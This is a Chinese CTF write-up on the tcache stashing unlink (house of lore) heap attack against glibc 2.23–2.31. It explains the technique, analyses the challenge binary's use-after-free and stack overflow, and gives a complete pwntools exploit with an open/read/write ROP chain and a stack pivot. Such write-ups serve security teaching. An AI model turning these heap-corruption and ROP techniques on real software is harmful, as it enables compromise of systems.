# tcache-stashing-unlink-attack
house-of-lore 结合 tcache 的一套攻击流程
漏洞成因
堆溢出、
use after free
、edit after free
适用范围
2.23
——2.31
- 需要泄露或已知地址
# 概要:
通 uaf 修改 smallbin 大小的 free_chunk 的 bk 指针到目的地址,同时伪造目的地址的 fd 指针指向将被 free 的 chunk。从而实现获取一个任意地址分配的能力
# 绕过检测:
if (__glibc_unlikely (bck->fd != victim)) | |
malloc_printerr ("malloc(): smallbin double linked list corrupted"); |
# 利用思路:
- 申请
chunk A、chunk B、chunk C
,其中chunk B
大小位于smallbin
- 释放
B
,申请更大的chunk D
,使得B
进入smallbin
- 写
A
,溢出修改B
的bk
,指向地址X
,这里有fake chunk
- 布置
X->fd == &B
- 分配两次后即可取出位于
X
地址处的fake chunk
需要越过 tcache 取 smallbin 的 free_chunk
# 例题:
https://github.com/Yhuanhuan01/CTF_Pwn_Game/tree/main/tcache-stashing-unlink-attack(house-of-lore)
还是先申代码吧
unsigned int sub_11D5() | |
{ | |
setbuf(stdin, 0LL); | |
setbuf(stdout, 0LL); | |
setbuf(stderr, 0LL); | |
sys_malloc = (__int64)malloc(0x1000uLL); | |
if ( !sys_malloc ) | |
{ | |
puts("What?"); | |
exit(-1); | |
} | |
qword_4050 = sys_malloc & 0xFFFFFFFFFFFFF000LL; | |
return alarm(0x1Eu); | |
} |
初始化函数,程序自己申请了一个 0x1000
chunk
seccomd_box(); | |
while ( 1 ) | |
{ | |
while ( 1 ) | |
{ | |
while ( 1 ) | |
{ | |
menu(); | |
choice = read_num(); | |
if ( choice != 3 ) | |
break; | |
edit(v3); | |
} | |
if ( choice > 3 ) | |
break; | |
if ( choice == 1 ) | |
{ | |
if ( num_28 <= 0 ) | |
puts_err(); | |
add(v3); | |
--num_28; | |
} | |
else | |
{ | |
if ( choice != 2 ) | |
goto LABEL_19; | |
delect(v3); // uaf | |
} | |
} | |
if ( choice == 5 ) | |
puts_err(); | |
if ( choice < 5 ) | |
{ | |
show(v3); | |
} | |
else | |
{ | |
if ( choice != 666 ) | |
LABEL_19: | |
puts_err(); | |
read_overbuf(); // stack_read_overbuf | |
} | |
} |
部分代码截取
整体看一下,有沙盒,最多进入 add 28 次(有些已经注释过了一下
- add()
// 只列举比较重要的部分 | |
printf("Please input the red packet idx: "); | |
num = read_num(); | |
if ( num > 0x10 ) | |
puts_err(); | |
if ( v5 != 0x10 && v5 != 0xF0 && v5 != 0x300 && v5 != 0x400 )// size_rule | |
puts_err(); | |
*(_QWORD *)(16LL * num + a1) = calloc(1uLL, v5);// user_malloc | |
*(_DWORD *)(a1 + 16LL * num + 8) = v5; |
只能去申请 4个大小
的 chunk,并且都不在 largebin 的范围内
- delect
num = read_num(); | |
if ( num > 16 || !*(_QWORD *)(16LL * num + a1) ) | |
puts_err(); | |
free(*(void **)(16LL * num + a1)); // uaf |
存在 uaf
漏洞
- edit
if ( num_1 <= 0 ) | |
puts_err(); | |
--num_1; // 一次进入 edit 的机会 | |
printf("Please input content: "); | |
v2 = read(0, *(void **)(16LL * idx + a1), *(int *)(16LL * idx + a1 + 8)); |
- read_overbuf
char buf[128]; // [rsp+0h] [rbp-80h] BYREF | |
if ( *(__int64 *)(sys_malloc + 0x800) <= 0x7F0000000000LL | |
|| *(_QWORD *)(sys_malloc + 0x7F8) | |
|| *(_QWORD *)(sys_malloc + 0x808) ) | |
{ | |
puts_err(); // 设置 sys_malloc+0x800 位置要大于 0x7F0000000000 | |
} | |
return read(0, buf, 0x90uLL);// 栈溢出 |
存在栈溢出
2.26 之后,ptmalloc 引入 tcache 机制,
0x20
-0x410
大小的 free_chunk 都会先进入 tcache_bin 内,之后满 7 个之后会进入符合其大小的 bin 内。在这个程序代码内,使用了 calloc 函数去创建分配堆块
- calloc 与 malloc 的区别是 calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的。
- 不从 tcache 去相应大小的堆块
这题的目的是修改 sys_malloc + 0x800
处,修改一个很大的数,从而拥有一个栈溢出的能力,因为栈溢出的长度太小,需要迁移。
首先还是先填满 tachae 去泄露 libcbase 和 heapbase
Sho(6) | |
heapaddr = u64(rc(6).ljust(8,b'\0')) - 0xd1c0 + 0xb000 | |
Sho(7) | |
libcaddr = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10 - libc.sym['__malloc_hook'] | |
lg('heapaddr') | |
lg('libcaddr') |
然后需要进行 tcache-stashing-unlink-attack
如何在本例实现此次攻击,需要结合 small 分配时的操作
// 获取 small bin 中倒数第二个 chunk 。 | |
bck = victim->bk; | |
// 检查 bck->fd 是不是 victim,防止伪造 | |
if ( __glibc_unlikely( bck->fd != victim ) ) | |
malloc_printerr ("malloc(): smallbin double linked list corrupted"); | |
// 设置 victim 对应的 inuse 位 | |
set_inuse_bit_at_offset (victim, nb); | |
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来 | |
bin->bk = bck; | |
bck->fd = bin; | |
// 在当前 tcache 没有满,smallbin 不空的时候,把相同大小的 chunk 相继取出。注意:这里没有双向链表完整性检查 | |
while (tcache->counts[tc_idx] < mp_.tcache_count | |
&& (tc_victim = last (bin)) != bin) | |
{ | |
if (tc_victim != 0) | |
{ | |
bck = tc_victim->bk; | |
set_inuse_bit_at_offset (tc_victim, nb); | |
if (av != &main_arena) | |
set_non_main_arena (tc_victim); | |
bin->bk = bck; | |
bck->fd = bin; | |
tcache_put (tc_victim, tc_idx); |
也就是说: 当smallbin中存在块,但是tcache未满时,如果从smallbin在取出一个块后未空,那么就会把这个对应大小的smallbin中的所有chunk全部转移到相应大小的tcache中,直到tcache满为止。
-
当 tcache_bin 内有 6 个 chunk 时,无法去完成一个任意地址分配的操作,但是可以把链头 chunk 的 BK 位置写上一个 main_arena
-
若有 5 个块时,则可以去完成一个任意地址分配的操作
此题可以用 6 个 chunk 的场景
for i in range(6): | |
Add(i,2,b'oooo') | |
Del(i) |
先去申请 6 个 0xf0 的 chunk,并放入 0x100 的 tcache_bin 内
Add(15,4,b'aaaa') | |
Add(7,3,b'bbbb') # 防止合併 | |
Del(15) # 置入 unsortedbin | |
Add(8,3,b'cccc') # 切割 | |
Add(16,4,b'aaaa')# 置入 0x100 的 small bin | |
Add(9,3,b'bbbb') | |
Del(16) | |
Add(10,3,b'cccc') | |
Add(11,3,b'cccc')# 置入 0x100 的 small bin |
在 0x100 的 small_bin 放入两个 chunk
pl = padding(0x300) + p64(0) + p64(0x101) + p64(heapaddr - 0xb000 + 0xe7e0) + p64(heapaddr + 0x250 + 0x800) | |
Edi(16,pl) | |
Add(14,2,b'oooo') |
uaf 写链头 chunk,完成 tcache-stashing-unlink-attack
,从而在目标地址写上 main_arean (…) 地址
接下来 orw 写到一个 chunk 上,并用栈溢出迁移过去即可
lvr = libcaddr + 0x0000000000058373 | |
rdi = libcaddr + 0x0000000000026542 | |
rsi = libcaddr + 0x0000000000026f9e | |
rdx = libcaddr + 0x000000000012bda6 | |
open_addr = libcaddr + libc.sym['open'] | |
read_addr = libcaddr + libc.sym['read'] | |
writ_addr = libcaddr + libc.sym['write'] | |
flag_addr = heapaddr - 0xb000 + 0xf630 | |
pay = flat([b'./flag\x00\x00', | |
rdi, p64(flag_addr), rsi, 0, open_addr, | |
rdi, 3, rsi, p64(flag_addr+200), rdx, 0x40, read_addr, | |
rdi, 1, rsi, p64(flag_addr+200), rdx, 0x40, writ_addr | |
]) | |
Add(13,3,pay) | |
pay2 = padding(0x80) + p64(flag_addr) + p64(lvr) | |
meau(666) | |
sa(b'What do you want to say?',pay2) | |
it() |
# 完整 exp:
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = './libc-2.29.so' | |
host, port = "node5.buuoj.cn:26125".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
def meau(idx): | |
sla(b'Your input: ',str(idx)) | |
def Add(idx,cz,ct): | |
meau(1) | |
sla(b'Please input the red packet idx: ',str(idx)) | |
sla(b'How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ',str(cz)) | |
sa(b'Please input content: ',ct) | |
def Del(idx): | |
meau(2) | |
sla(b'Please input the red packet idx: ',str(idx)) | |
def Edi(idx,ct): | |
meau(3) | |
sla(b'Please input the red packet idx: ',str(idx)) | |
sa(b'Please input content: ',ct) | |
def Sho(idx): | |
meau(4) | |
sla(b'Please input the red packet idx: ',str(idx)) | |
for i in range(9): | |
Add(i,4,b'aaaa') | |
for i in range(8): | |
Del(i) | |
Sho(6) | |
heapaddr = u64(rc(6).ljust(8,b'\0')) - 0xd6c0 + 0xb000 | |
Sho(7) | |
libcaddr = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10 - libc.sym['__malloc_hook'] | |
lg('heapaddr') | |
lg('libcaddr') | |
# debug() | |
# pause() | |
Del(8) | |
for i in range(6): | |
Add(i,2,b'oooo') | |
Del(i) | |
Add(15,4,b'aaaa') | |
Add(7,3,b'bbbb') # 防止合併 | |
Del(15) # 置入 unsortedbin | |
Add(8,3,b'cccc') # 切割 | |
Add(16,4,b'aaaa')# 置入 0x100 的 small bin | |
Add(9,3,b'bbbb') | |
Del(16) | |
Add(10,3,b'cccc') | |
Add(11,3,b'cccc')# 置入 0x100 的 small bin | |
debug() | |
pl = padding(0x300) + p64(0) + p64(0x101) + p64(heapaddr - 0xb000 + 0xe7e0) + p64(heapaddr + 0x250 + 0x800) | |
Edi(16,pl) | |
Add(14,2,b'oooo') | |
lvr = libcaddr + 0x0000000000058373 | |
rdi = libcaddr + 0x0000000000026542 | |
rsi = libcaddr + 0x0000000000026f9e | |
rdx = libcaddr + 0x000000000012bda6 | |
open_addr = libcaddr + libc.sym['open'] | |
read_addr = libcaddr + libc.sym['read'] | |
writ_addr = libcaddr + libc.sym['write'] | |
flag_addr = heapaddr - 0xb000 + 0xf630 | |
pay = flat([b'./flag\x00\x00', | |
rdi, p64(flag_addr), rsi, 0, open_addr, | |
rdi, 3, rsi, p64(flag_addr+200), rdx, 0x40, read_addr, | |
rdi, 1, rsi, p64(flag_addr+200), rdx, 0x40, writ_addr | |
]) | |
Add(13,3,pay) | |
pay2 = padding(0x80) + p64(flag_addr) + p64(lvr) | |
meau(666) | |
sa(b'What do you want to say?',pay2) | |
it() |
参考
https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#24-house-of-lore
https://ciphersaw.me/ctf-wiki/pwn/linux/heap/house_of_lore/
https://www.cnblogs.com/luoleqi/p/12840154.html#house-of-lore
https://kabeor.cn/House of 系列堆漏洞详解 (一)/#House-of-lore
https://tttang.com/archive/1362/#toc_0x00
https://blog.csdn.net/tbsqigongzi/article/details/126293932
https://nicholas-wei.github.io/2022/02/07/tcache-stashing-unlink-attack/
https://yhuanhuan01.github.io/2024/07/22/tcache-stashing-unlink-attack(house-of-lore)/